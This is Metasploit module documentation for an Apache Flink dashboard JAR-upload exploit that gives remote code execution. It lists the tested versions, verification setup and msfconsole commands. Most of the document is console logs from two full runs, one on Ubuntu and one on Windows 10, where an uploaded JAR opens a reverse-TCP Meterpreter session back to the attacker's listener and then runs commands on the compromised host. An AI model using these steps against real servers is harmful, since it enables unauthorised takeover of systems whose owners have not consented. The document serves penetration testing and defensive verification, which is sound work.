## Vulnerable Application

This module uses job functionality in [Apache Flink](https://flink.apache.org)
dashboard web interface to upload and execute a JAR file,
leading to remote execution of arbitrary Java code as the web server user.

This module has been tested successfully on Apache Flink versions:

* 1.9.3 on Ubuntu 18.04.4;
* 1.11.2 on Ubuntu 18.04.4;
* 1.9.3 on Windows 10; and
* 1.11.2 on Windows 10.

## Verification Steps

```sh
wget 'https://archive.apache.org/dist/flink/flink-1.11.2/flink-1.11.2-bin-scala_2.11.tgz'
tar zxvf flink-1.11.2-bin-scala_2.11.tgz
cd flink-1.11.2/
./bin/start-cluster.sh
```

Metasploit:

1. `./msfconsole`
1. `use exploit/multi/http/apache_flink_jar_upload_exec`
1. `set rhosts <rhost>`
1. `run`

## Scenarios

### Apache Flink version 1.9.3 on Ubuntu 18.04.4

```
msf > use exploit/multi/http/apache_flink_jar_upload_exec 
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/http/apache_flink_jar_upload_exec) > set rhosts 172.16.191.194
rhosts => 172.16.191.194
msf exploit(multi/http/apache_flink_jar_upload_exec) > check
[*] 172.16.191.194:8081 - The target appears to be vulnerable. Apache Flink version 1.9.3.
msf exploit(multi/http/apache_flink_jar_upload_exec) > set lhost 172.16.191.192 
lhost => 172.16.191.192
msf exploit(multi/http/apache_flink_jar_upload_exec) > run

[*] Started reverse TCP handler on 172.16.191.192:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Apache Flink version 1.9.3.
[*] Uploading JAR payload 'bxAGPHOcppvL.jar' (5309 bytes) ...
[*] Retrieving list of available JAR files ...
[+] Found uploaded JAR file 'b4222291-a682-4788-9d43-44ebe5b18426_bxAGPHOcppvL.jar'
[*] Executing JAR payload 'b4222291-a682-4788-9d43-44ebe5b18426_bxAGPHOcppvL.jar' entry class 'metasploit.Payload' ...
[*] Sending stage (58147 bytes) to 172.16.191.194
[*] Meterpreter session 1 opened (172.16.191.192:4444 -> 172.16.191.194:38326) at 2021-02-18 07:19:58 -0500
[*] Removing JAR file 'b4222291-a682-4788-9d43-44ebe5b18426_bxAGPHOcppvL.jar' ...

meterpreter > getuid
Server username: user
meterpreter > sysinfo
Computer    : linux-18-04-04-amd64
OS          : Linux 5.3.0-40-generic (amd64)
Meterpreter : java/linux
meterpreter > 
```

### Apache Flink version 1.11.2 on Windows 10

```
msf > use exploit/multi/http/apache_flink_jar_upload_exec 
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/http/apache_flink_jar_upload_exec) > set rhosts 172.16.191.193
rhosts => 172.16.191.193
msf exploit(multi/http/apache_flink_jar_upload_exec) > check
[*] 172.16.191.193:8081 - The target appears to be vulnerable. Apache Flink version 1.11.2.
msf exploit(multi/http/apache_flink_jar_upload_exec) > set lhost 172.16.191.192 
lhost => 172.16.191.192
msf exploit(multi/http/apache_flink_jar_upload_exec) > run

[*] Started reverse TCP handler on 172.16.191.192:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Apache Flink version 1.11.2.
[*] Uploading JAR payload 'JhnJgOxev.jar' (5309 bytes) ...
[*] Retrieving list of available JAR files ...
[+] Found uploaded JAR file '67c7fb3f-81a0-4518-a67c-e375ae5f2d03_JhnJgOxev.jar'
[*] Executing JAR payload '67c7fb3f-81a0-4518-a67c-e375ae5f2d03_JhnJgOxev.jar' entry class 'metasploit.Payload' ...
[*] Sending stage (58147 bytes) to 172.16.191.193
[*] Meterpreter session 1 opened (172.16.191.192:4444 -> 172.16.191.193:51105) at 2021-02-18 07:18:02 -0500
[*] Removing JAR file '67c7fb3f-81a0-4518-a67c-e375ae5f2d03_JhnJgOxev.jar' ...
[!] Cleanup failed. Could not remove JAR file '67c7fb3f-81a0-4518-a67c-e375ae5f2d03_JhnJgOxev.jar'

meterpreter > getuid
Server username: User
meterpreter > sysinfo
Computer    : WinDev1710Eval
OS          : Windows 10 10.0 (amd64)
Meterpreter : java/windows
meterpreter > 
```

